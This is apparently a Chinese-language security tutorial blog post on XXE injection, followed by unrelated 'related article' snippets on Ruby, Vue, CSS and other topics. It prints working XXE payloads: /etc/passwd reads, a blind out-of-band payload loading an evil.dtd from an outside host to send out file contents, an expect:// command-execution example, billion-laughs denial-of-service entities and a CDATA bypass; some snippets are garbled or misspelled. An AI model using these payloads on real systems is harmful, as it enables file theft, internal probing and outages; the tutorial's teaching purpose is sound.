网络安全进阶学习第二十一课——XXE
文章目录
- 一、XXE简介
- 二、XXE原理
- 三、XXE危害
- 四、XXE如何寻找
- 五、XXE限制条件
- 六、XXE分类
- 七、XXE利用
- 1、读取任意文件
- 1.1、有回显
- 1.2、没有回显
- 2、命令执行`(情况相对较少见)`
- 3、内网探测/SSRF
- 4、拒绝服务攻击(DDoS)
- 4.1、内部实体
- 4.2、参数实体
- 八、绕过基本XXE攻击的限制
- 九、关联链接
- 1、XML介绍
- 2、靶场演示
一、XXE简介
XXE(XML External Entity,XML)外部实体
注入攻击。
二、XXE原理
— — 攻击者通过构造恶意的外部实体
,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。XXE漏洞主要由于危险的外部实体引用并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。
这里是不是很像XSS注入
— — 在解析XML文档的过程中,关键字’SYSTEM’会告诉XML解析器,entityex 实体的值将从其后的URI中读取。实体entityex的值会被替换为URI(file://etc/passwd)内容值。(如下图)
— — 因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
— — 简单来说,攻击者强制XML解析器去访问攻击者指定的本地系统上或是远程系统上的资源内容。
三、XXE危害
- 导致可加载恶意外部文件、读取任意未授权文件;
- 恶意消耗内存进行dos攻击,
- 探测内网信息(如检测服务、内网端口扫描、攻击内网网站等)
- 命令执行,目录遍历等
- 有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
四、XXE如何寻找
1、POST请求
2、MIME 文件传输格式为 XML
3、请求头中 Content-type: application/xml text/xml application/json
4、带有非常明显的xml标签的,即自定义的标签
5、利用DNSLog来验证是否存在XXE
将数据包改一下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE value [
<!ENTITY xxe SYSTEM "http://yu7bis.dnslog.cn" >
]>
<value>&xxe;</value>ps:可以修改其Content-Type为application/xml,并尝试进行XXE注入
五、XXE限制条件
网站是否开启了外部实体解析
-
因素一:
libxml<2.9.0 版本 默认开启了外部实体解析 -
因素二:
网站管理员开启了外部实体解析 -
低版本php
libxml<2.9.1
设置了libxml_disable_entity_loader(禁用加载外部实体的能力)为FALSE
六、XXE分类
XXE的攻击方式分为显式攻击
和盲攻击
两种:
- 显式攻击是攻击者能通过正常的回显将外部实体里的内容读取出来。
- 盲攻击即不可见的回显,可利用参数实体将本地文件内容读出来后,作为URL中的参数向其指定服务器发起请求,然后在其指定服务器的日志中读出文件的内容。
现实中存在的大多数XXE漏洞都是blind,必须采用带外通道OOB(Out-of-band)进行返回信息的记录,这里简单来说就是攻击者必须有一台具有公网ip的主机。
七、XXE利用
1、读取任意文件
1.1、有回显
下面是XML.php内容:
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY[<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
访问XML.php可以读取etc/passwd文件内容
1.2、没有回显
当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。
下面是XML.php内容:
<?php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
?>
下面是evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
2、命令执行(情况相对较少见)
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装(正常人谁会去安装这东西啊,所以命令执行的情况相对较少见)
。
下面是XML.php内容:
<?php
$xml = <<<EOF
<? xml version = "1.0" ?>
<!DOCTYPE ANY[<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
3、内网探测/SSRF
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
4、拒绝服务攻击(DDoS)
通过创建一项递归的XML定义,在内存中生成十亿个“Ha! ”字符串,从而导致 DDos 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
4.1、内部实体
攻击代码如下:
<!DOCTYPE data [
<!ENTITY a0 "dos"><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" ><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"><!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" ><!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
]>
<data>&a4;</data>
上面代码相当于有1+10+10*10+10*10*10+10*10*10*10=11111
个实体引用,这里文件大小只有30kb,却超出了合法的实体引用数量上限。
4.2、参数实体
攻击代码如下:
<!DOCTYPE data SYSTEM "http://127.0.0.1/dos.dtd" [<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>
http://127.0.0.1/dos.dtd文件的内容:
<!ENTITY a0 "dos"><!ENTITY % a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" ><!ENTITY % a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"><!ENTITY % a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" ><!ENTITY % a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
<!ENTITY g "%a4;">
八、绕过基本XXE攻击的限制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY % start "<![CDATA["><!ENTITY % goodies SYSTEM "file:///sys/power/image_size"><!ENTITY % end "]]>"><!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">%dtd;
]>
<data>&all;</data>
文件http://publicServer.com/parameterEntity_core.dtd的内容:
<!ENTITY all '%start;%goodies;%end;'>
这里是把XML语句拆成3个参数来绕过
九、关联链接
1、XML介绍
XML介绍
2、靶场演示
靶场演示
相关文章:

网络安全进阶学习第二十一课——XXE
文章目录 一、XXE简介二、XXE原理三、XXE危害四、XXE如何寻找五、XXE限制条件六、XXE分类七、XXE利用1、读取任意文件1.1、有回显1.2、没有回显 2、命令执行(情况相对较少见)3、内网探测/SSRF4、拒绝服务攻击(DDoS)4.1、内部实体4.2、参数实体 八、绕过基…...

如何将 ruby 打包类似于jdk在另一台相同架构的机器上面开箱即用
需求 目前工作中使用到了ruby作为java 项目的中转语言,但是部署ruby的时候由于环境的不同会出现安装依赖包失败的问题,如何找到一种开箱即用的方式类似于java 中的jdk内置jvm这种方式 解决 TruffleRuby 完美解决问题,TruffleRuby 是使用 T…...

vue封装独立组件:实现分格密码输入框/验证码输入框
目录 第一章 实现效果 第二章 核心实现思路 第三章 封装组件代码实现 第一章 实现效果 为了方便小编的父组件随便找了个页面演示的通过点击按钮,展示子组件密码输入的输入框通过点击子组件输入框获取焦点,然后输入验证码数字即可子组件的确定按钮是验…...
从2D圆形到3D椭圆
要将一个2D圆形转换成3D椭圆,我们需要使用CSS的transform属性和一些基本的几何知识。首先,让我们创建一个HTML元素,如下所 html <div class"circle"></div> 然后,使用CSS样式将其转换成3D椭圆 css .circ…...

Linux CentOS7.9安装OpenJDK17
Linux CentOS7.9安装OpenJDK17 一、OpenJDK下载 清华大学开源软件镜像站 国内的站点,下载速度贼快 二、上传解压 文件上传到服务器后,解压命令: tar -zxvf jdk-xxxx-linux-x64.tar.gz三、配置环境 export JAVA_HOME/home/local/java/j…...

计算机网络第4章-网络层(1)
引子 网络层能够被分解为两个相互作用的部分: 数据平面和控制平面。 网络层概述 路由器具有截断的协议栈,即没有网络层以上的部分。 如下图所示,是一个简单网络: 转发和路由选择:数据平面和控制平面 网络层的作用…...

单元测试学习
回顾测试理论基础 单元测试基础知识 什么是单元测试 单元测试流程、测试计划 测试策略设计、实现 单元测试 - 执行 HTML 报告生成 1 软件测试分类 目标 回顾测试理论知识-测试分类 1. 测 试分类 代码可见度上-划分分类: 1. 黑盒测试 2. 灰盒测试 3. …...

python编写接口测试文档(以豆瓣搜索为例)
📢专注于分享软件测试干货内容,欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正!📢交流讨论:欢迎加入我们一起学习!📢资源分享:耗时200小时精选的「软件测试」资…...

C++查看Class类结构
cl指令 cl test.cpp /d1reportSingleClassLayout 类名 注意。上面指令是d1,1是数字1 , 不是字母l;...

appium如何连接多台设备
我们在做app自动化的时候,若要考虑兼容性问题,需要跑几台设备,要是一台一台的跑比较耗时,因此需要考虑使用多线程来同时操作多台设备。 1.我们拿两台设备来模拟操作下,使用:adb devices查看连接状况&#…...
VUE el-form组件不绑定model时进行校验
在el-form中如果要使用:rules规则校验时,需要在el-form标签绑定 :model 如何不绑定model而进行校验字段: 思路: 1.假设规则为非空判断 2.获取该字段,进行非空判断,记录该字段是否校验完成,添加到校验标识中 3.表单或数据提交时,判断校验标识 required 红星星 :error 提示项 …...

计算机视觉的监督学习与无监督学习
什么是监督学习? 监督学习是一种机器学习算法,它从一组已标记的 合成数据生成器中生成的训练数据中学习。这意味着数据科学家已经用正确的标签(例如,“猫”或“狗”)标记了训练集中的每个数据点,以便算法可…...
Linux-lvds接口
lvds接口 单6 单8 双6 双8...
Android 自定义View一
1.继承已有VIew,改写尺寸:重写onMeasure SquareImageView 2.完全自定义重写onMeasure 3.自定义Layout 重写onMeasure onLayout 1.继承已有VIew,改写尺寸:重写onMeasure 流程: 重写onMeasure 用getmeasureedWidth …...

11、电路综合-集总参数电路结构的S参数模型计算与Matlab
11、电路综合-集总参数电路结构的S参数模型 电路综合专栏的大纲如下: 网络综合和简化实频理论学习概述 前面介绍了许多微带线电路综合的实际案例,如: 3、电路综合原理与实践—单双端口理想微带线(伪)手算S参数与时域…...
计算机网络--真题
因特网上专门用于传输文件的协议是 因特网上专门用于传输文件的协议通常是 FTP(File Transfer Protocol)。FTP 是一种标准的网络协议,用于在计算机之间传输文件。它允许用户在客户端和服务器之间传输文件,上传文件到服务器或从服务…...

java毕业设计基于ssm的招聘求职网站
项目介绍 本前途招聘求职网站是针对目前仓库的实际需求,从实际工作出发,对过去的前途招聘求职网站存在的问题进行分析,完善用户的使用体会。采用计算机系统来管理信息,取代人工管理模式,查询便利,信息准确…...

【JavaEE初阶】 初识网络原理
文章目录 🌲网络发展史🚩独立模式🚩网络互连📌局域网LAN🎈基于网线直连🎈基于集线器组建🎈基于交换机组建🎈基于交换机和路由器组建 📌广域网WAN 🍀网络通信基…...
LeetCode题解:993. 二叉树的堂兄弟节点,BFS,JavaScript,详细注释
原题链接: https://leetcode.cn/problems/cousins-in-binary-tree/ 解题思路: 使用队列进行BFS搜索,同时保存每个节点,以及其深度和父节点信息。当搜索到x和y时,对比深度和父节点,如果满足要求࿰…...

在python中加载tensorflow-probability模块和numpy模块
目录 操作步骤: 注意: 问题: 解决办法: 操作步骤: 在虚拟环境的文件夹中,找到Scripts文件夹,点击进去,找到地址栏,在地址栏中输入cmd,进入如下界面。 输…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)
HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...

解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八
现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet,点击确认后如下提示 最终上报fail 解决方法 内核升级导致,需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...

高频面试之3Zookeeper
高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个?3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制(过半机制࿰…...
在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module
1、为什么要修改 CONNECT 报文? 多租户隔离:自动为接入设备追加租户前缀,后端按 ClientID 拆分队列。零代码鉴权:将入站用户名替换为 OAuth Access-Token,后端 Broker 统一校验。灰度发布:根据 IP/地理位写…...

ardupilot 开发环境eclipse 中import 缺少C++
目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...

MySQL 8.0 OCP 英文题库解析(十三)
Oracle 为庆祝 MySQL 30 周年,截止到 2025.07.31 之前。所有人均可以免费考取原价245美元的MySQL OCP 认证。 从今天开始,将英文题库免费公布出来,并进行解析,帮助大家在一个月之内轻松通过OCP认证。 本期公布试题111~120 试题1…...
关于 WASM:1. WASM 基础原理
一、WASM 简介 1.1 WebAssembly 是什么? WebAssembly(WASM) 是一种能在现代浏览器中高效运行的二进制指令格式,它不是传统的编程语言,而是一种 低级字节码格式,可由高级语言(如 C、C、Rust&am…...

【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
【Java学习笔记】BigInteger 和 BigDecimal 类
BigInteger 和 BigDecimal 类 二者共有的常见方法 方法功能add加subtract减multiply乘divide除 注意点:传参类型必须是类对象 一、BigInteger 1. 作用:适合保存比较大的整型数 2. 使用说明 创建BigInteger对象 传入字符串 3. 代码示例 import j…...

STM32HAL库USART源代码解析及应用
STM32HAL库USART源代码解析 前言STM32CubeIDE配置串口USART和UART的选择使用模式参数设置GPIO配置DMA配置中断配置硬件流控制使能生成代码解析和使用方法串口初始化__UART_HandleTypeDef结构体浅析HAL库代码实际使用方法使用轮询方式发送使用轮询方式接收使用中断方式发送使用中…...